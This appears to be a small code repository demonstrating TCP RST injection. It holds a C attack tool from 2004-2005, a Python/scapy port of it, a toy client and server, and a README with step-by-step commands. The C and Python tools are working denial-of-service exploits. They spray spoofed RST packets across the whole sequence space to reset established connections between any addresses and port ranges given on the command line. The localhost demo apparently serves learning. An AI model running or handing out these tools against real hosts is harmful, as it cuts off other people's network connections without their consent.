├── README.md ├── client.py ├── scapyclient.py ├── server.py ├── tcprst.c └── tcprst.py /README.md: -------------------------------------------------------------------------------- 1 | This repository contains a python/scapy implementation of the TCP RST injection showcased in the included c file. 2 | 3 | Howto: 4 | 5 | $ indicates command to be executed 6 | 7 | indicates output on the console 8 | 9 | 10 | start the server 11 | 12 | $ python server.py 13 | 14 | TCP Server binding to port 5000 15 | 16 | start the client 17 | 18 | $ python client.py 19 | 20 | record the port number the server reports (47413 in the running example) 21 | 22 | I got a connection from 127.0.0.1:47413 23 | 24 | start the injection 25 | 26 | $ python tcprst.py -D 127.0.0.1 -d 5000 -S 127.0.0.1 -s 47413 27 | 28 | wait until the server and the client exit with a message like: 29 | 30 | Traceback (most recent call last): 31 | File "server.py", line 15, in 32 | data = client_socket.recv(512) 33 | socket.error: [Errno 104] Connection reset by peer 34 | 35 | done! 36 | 37 | More info on TCP/RST injection: 38 | 39 | * http://kerneltrap.org/node/3072 40 | * http://www.blackhatacademy.org/security101/TCP-RST_Injection 41 | 42 | Source of the c file: 43 | 44 | * http://packetstormsecurity.org/files/38708/tcprst.c.html -------------------------------------------------------------------------------- /client.py: -------------------------------------------------------------------------------- 1 | # TCP client example 2 | import socket, time, random, sys 3 | client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 4 | client_socket.connect(("localhost", 5000)) 5 | while 1: 6 | data = client_socket.recv(512) 7 | sys.stderr.write(".") 8 | client_socket.send('ping') 9 | time.sleep(random.random() + 0.5) -------------------------------------------------------------------------------- /scapyclient.py: -------------------------------------------------------------------------------- 1 | # this script can connect to server.py and receive the first pong to check if everything is working 2 | 3 | from scapy.all import * 4 | conf.L3socket = L3RawSocket 5 | s = conf.L3socket(iface="lo") 6 | 7 | src = '127.0.0.1' 8 | sport = 59152 9 | dst = '127.0.0.1' 10 | dport = 5000 11 | 12 | # tcp 3 way handshake 13 | ip=IP(src=src, dst=dst) 14 | TCP_SYN=TCP(sport=sport, dport=dport, flags="S", seq=100) 15 | SYN = ip/TCP_SYN 16 | print SYN.show2() 17 | 18 | TCP_SYNACK = sr1(SYN) 19 | print TCP_SYNACK.summary() 20 | print TCP_SYNACK[TCP].flags 21 | 22 | TCP_ACK=TCP(sport=sport, dport=dport, flags="A", seq=TCP_SYNACK.ack, ack=TCP_SYNACK.seq + 1) 23 | send(ip/TCP_ACK) 24 | 25 | # receive first pong don't finish nicely we know enough 26 | p = s.recv(512) 27 | print 'recv:', p.show() -------------------------------------------------------------------------------- /server.py: -------------------------------------------------------------------------------- 1 | # simple TCP server example 2 | import socket, sys 3 | server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 4 | server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 5 | server_socket.bind(("localhost", 5000)) 6 | server_socket.listen(5) 7 | 8 | sys.stderr.write("TCP Server binding to port 5000\n") 9 | 10 | while 1: 11 | client_socket, address = server_socket.accept() 12 | sys.stderr.write("I got a connection from %s:%s\n" % address) 13 | while 1: 14 | client_socket.send('pong') 15 | data = client_socket.recv(512) 16 | sys.stderr.write(".") -------------------------------------------------------------------------------- /tcprst.c: -------------------------------------------------------------------------------- 1 | /* 2 | * tcprst.c - DoS over TCP persistent connections 3 | * ---------------------------------------------- 4 | * 5 | * This code requires an access to RAW socket. 6 | * 7 | * Tested with: 8 | * (root@osiris ~)# uname -srmp 9 | * Linux 2.4.26 i586 Pentium_MMX 10 | * 11 | * Basically the attack pattern is resetting established TCP connection by 12 | * sending suitable TCP packets with the RST (reset) flag set. The packets 13 | * need to have source and destination IP addresses that match the established 14 | * connection as well as the same source and destination TCP ports. 15 | * The packets required for a successful RST attack are based on the equation: 16 | * 2^32 / Window Size 17 | * Note that minimum number of packets you need to send is 2^32 / 65535. 18 | * For example, if the TCP stack on host A has definied a 16384 window, the 19 | * stack must accept any packet that has a sequence numer that falls within 20 | * this range as the packets may be arriving out of order. Hence, someone 21 | * that is performing an attack with tcprst.c doesn't have to send a RST packet 22 | * with every possible sequence number, instead only having to send a RST 23 | * packet with a sequence number from each possible window. In other words, 24 | * an attacker would have to send 4294967295 / 16384 = 262143 packets. 25 | * There's also "window scaling" TCP extension that increases the available 26 | * window size from 16 bits to 30 bits. Theoretically, with window scaling 27 | * open to the maximum range, an attacker would only have to send 28 | * 2^32 / 2^30 = 4 packets (that's right, only 4 spoofed packets). 29 | * 30 | * Operating System Initial Window Size 31 | * ------------------------------------- 32 | * Linux 2.4/2.6 5840 33 | * Linux 2.0-2.2 16384,32768 34 | * Windows XP 16384,64240 35 | * Windows 2000 64512,16384 36 | * Windows 9x 8192 37 | * *BSD 65535,32768,16384 38 | * 39 | * The only different part of attack is source port, since it varies with each 40 | * new TCP session. Source ports are NOT actually selected from the full 16-bit 41 | * (65535) range. Ports 1-1024 are reserved for privileged process (UID=0), 42 | * ports 49152-65535 are reserved for private system ports. 43 | * Currently, source port selection is rather predictable, even for the blind 44 | * TCP spoofing attacker. Every modern OS increments source port by 1. 45 | * A notable exception is OpenBSD which randomizes source ports. 46 | * The following char represents initial source ports (I wonder if someone 47 | * has knowlege about other systems - please contact with me). 48 | * 49 | * Operating System Initial Source Port 50 | * ------------------------------------- 51 | * Windows XP 1050 52 | * Windows 2000 1060,1038 53 | * Linux 2.2-2.4 1024 54 | * 55 | * Here ends my little introduction to TCP Reset Attack. 56 | * You can read more in "Slipping In The Window" technical paper. 57 | * And oh, BTW: there's a little script kiddie protection ;) 58 | * Have fun! 59 | * 60 | * Copyright (c) 2004-2005 by Marcin Ulikowski 61 | */ 62 | 63 | #define _GNU_SOURCE 64 | 65 | #include 66 | #include 67 | #include 68 | #include 69 | #include 70 | #include 71 | #include 72 | #include 73 | #include 74 | #include 75 | #include 76 | 77 | #define bug(n) do { perror(n); exit(1); } while (0) 78 | #define DEFAULTWSS 16384 79 | 80 | static u_char packet[] = { 81 | /* IHL */ 0x45, 82 | /* ToS */ 0x00, 83 | /* totlen */ 0x00, 0x28, 84 | /* ID */ 0x05, 0x39, 85 | /* offset */ 0x00, 0x00, 86 | /* TTL */ 0xFF, 87 | /* proto */ 0x06, 88 | /* cksum */ 0x00, 0x00, 89 | /* saddr */ 0x00, 0x00, 0x00, 0x00, 90 | /* daddr */ 0x00, 0x00, 0x00, 0x00, 91 | 92 | /* sport */ 0x00, 0x00, 93 | /* dport */ 0x00, 0x00, 94 | /* SEQ */ 0x00, 0x00, 0x00, 0x00, 95 | /* ACK */ 0x00, 0x00, 0x00, 0x00, 96 | /* doff */ 0x50, 97 | /* flags */ 0x04, 98 | /* WSS */ 0x00, 0x00, 99 | /* cksum */ 0x00, 0x00, 100 | /* urg */ 0x00, 0x00 101 | }; 102 | 103 | 104 | u_short cksum(void) { 105 | u_int sum = 20 + 6; /* TCP len + proto(6) */ 106 | u_char i; 107 | u_char *p = packet + 20; 108 | 109 | for (i = 0; i < 10; i++) { 110 | sum += (*p << 8) + *(p+1); 111 | p += 2; 112 | } 113 | 114 | p = packet + 12; 115 | 116 | for (i = 0; i < 4; i++) { 117 | sum += (*p << 8) + *(p+1); 118 | p += 2; 119 | } 120 | 121 | return ~(sum + (sum >> 16)); 122 | } 123 | 124 | 125 | void usage(char *ex) { 126 | printf("Usage: %s <-S src-ip> <-s src-port> <-D dst-ip> <-d dst-port>\n" 127 | " [-w win-size]\n" 128 | "Example: %s -S 10.0.0.1 -s 1025-1030 -D 10.0.0.2 -d 22\n", ex, ex); 129 | exit(1); 130 | } 131 | 132 | 133 | int main(int argc, char** argv) { 134 | static struct sockaddr_in addr; 135 | u_int sad, dad, seq, isn; 136 | int sock, count = 0, total = 0, one = 1; 137 | u_short sp, dp, ck, wss = DEFAULTWSS; 138 | u_short fromsp, tosp, fromdp, todp, source, dest, i; 139 | 140 | printf("tcprst.c - DoS over TCP long-time connections\n" 141 | "(c) Marcin Ulikowski \n"); 142 | 143 | if (argc < 9) usage(argv[0]); 144 | 145 | for (i = 1; i < argc; i++) { 146 | 147 | if (!strcmp("-S", argv[i]) && i < argc - 1) { 148 | i++; 149 | if ((sad = inet_addr(argv[i])) == INADDR_NONE) usage(argv[0]); 150 | 151 | } else if (!strcmp("-s", argv[i]) && i < argc - 1) { 152 | i++; 153 | if (strchr(argv[i], '-')) sscanf(argv[i], "%hu-%hu", &fromsp, &tosp); 154 | else { 155 | fromsp = atoi(argv[i]); 156 | tosp = atoi(argv[i]); 157 | } 158 | if (fromsp > tosp) usage(argv[0]); 159 | 160 | } else if (!strcmp("-D", argv[i]) && i < argc - 1) { 161 | i++; 162 | if ((dad = inet_addr(argv[i])) == INADDR_NONE) usage(argv[0]); 163 | 164 | } else if (!strcmp("-d", argv[i]) && i < argc - 1) { 165 | i++; 166 | if (strchr(argv[i], '-')) sscanf(argv[i], "%hu-%hu", &fromdp, &todp); 167 | else { 168 | fromdp = atoi(argv[i]); 169 | todp = atoi(argv[i]); 170 | } 171 | if (fromdp > todp) usage(argv[0]); 172 | 173 | } else if (!strcmp("-w", argv[i]) && i < argc - 1) { 174 | i++; 175 | wss = atoi(argv[i]); 176 | if (!wss) usage(argv[0]); 177 | 178 | } else usage(argv[0]); 179 | } 180 | 181 | sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); 182 | 183 | if (sock < 0) bug("socket"); 184 | 185 | if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))) 186 | bug("setsockopt"); 187 | 188 | addr.sin_family = AF_INET; 189 | memcpy(&addr.sin_addr.s_addr, &dad, 4); 190 | memcpy(packet+12, &sad, 4); 191 | memcpy(packet+16, &dad, 4); 192 | 193 | for (source = fromsp; source <= tosp; source++) { 194 | memset(packet+20, 0, 2); 195 | sp = htons(source); 196 | memcpy(packet+20, &sp, 2); 197 | 198 | for (dest = fromdp; dest <= todp; dest++) { 199 | printf("%u.%u.%u.%u:%hu -> %u.%u.%u.%u:%hu (win=%hu)\n", 200 | packet[12], packet[13], packet[14], packet[15], source, 201 | packet[16], packet[17], packet[18], packet[19], dest, wss); 202 | memset(packet+22, 0, 2); 203 | dp = htons(dest); 204 | memcpy(packet+22, &dp, 2); 205 | count = 0; 206 | 207 | for (seq = wss; seq < UINT_MAX-wss; seq += wss) { 208 | isn = htonl(seq); 209 | memcpy(packet+24, &isn, 4); 210 | memset(packet+36, 0, 2); 211 | ck = cksum(); 212 | ck = htons(ck); 213 | memcpy(packet+36, &ck, 2); 214 | if (sendto(sock, packet, sizeof(packet), 0, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) { 215 | perror("sendto"); 216 | } 217 | total += 40; 218 | count++; 219 | if (count == 8192) { 220 | count = 0; 221 | printf("RST counter: %u ISN guess: %lu\n", total/40, seq); 222 | } 223 | } /* seq loop ends */ 224 | } /* dest loop ends */ 225 | } /* source loop ends */ 226 | printf("Total data sent: %uKB\n", total/1024); 227 | close(sock); 228 | return 0; 229 | } 230 | 231 | -------------------------------------------------------------------------------- /tcprst.py: -------------------------------------------------------------------------------- 1 | # this script is the python/scapy equivalent of tcprst.c 2 | 3 | from optparse import OptionParser 4 | from scapy.all import * 5 | conf.L3socket = L3RawSocket 6 | 7 | parser = OptionParser() 8 | parser.add_option("-D", dest="dst_addr", help="Destination address") 9 | parser.add_option("-d", dest="dst_port", help="Destination port") 10 | parser.add_option("-S", dest="src_addr", help="Source address") 11 | parser.add_option("-s", dest="src_port", help="Source port") 12 | parser.add_option("-w", dest="wnd_size", default=16384, help="Window size") 13 | 14 | (options, args) = parser.parse_args() 15 | if options.src_port is None or options.src_addr is None or options.dst_addr is None or options.dst_port is None: 16 | parser.print_help() 17 | exit() 18 | 19 | print "%s:%s -> %s:%s (win=%s)" % (options.src_addr, options.src_port, options.dst_addr, options.dst_port, options.wnd_size) 20 | 21 | def chunks(lst, n): 22 | "Yield successive n-sized chunks from lst" 23 | for i in xrange(0, len(lst), n): 24 | yield lst[i:i+n] 25 | 26 | UINT_MAX = 4294967295L 27 | 28 | packet = IP(src=options.src_addr, dst=options.dst_addr)/TCP(sport=int(options.src_port), dport=int(options.dst_port), flags="R", window=options.wnd_size) 29 | 30 | seqs = range(options.wnd_size, UINT_MAX-options.wnd_size, options.wnd_size) 31 | for chunk in chunks(seqs, 8192): 32 | print '>', 33 | packet.seq = chunk 34 | send(packet, verbose=0) 35 | print '<' 36 | 37 | print 'done' --------------------------------------------------------------------------------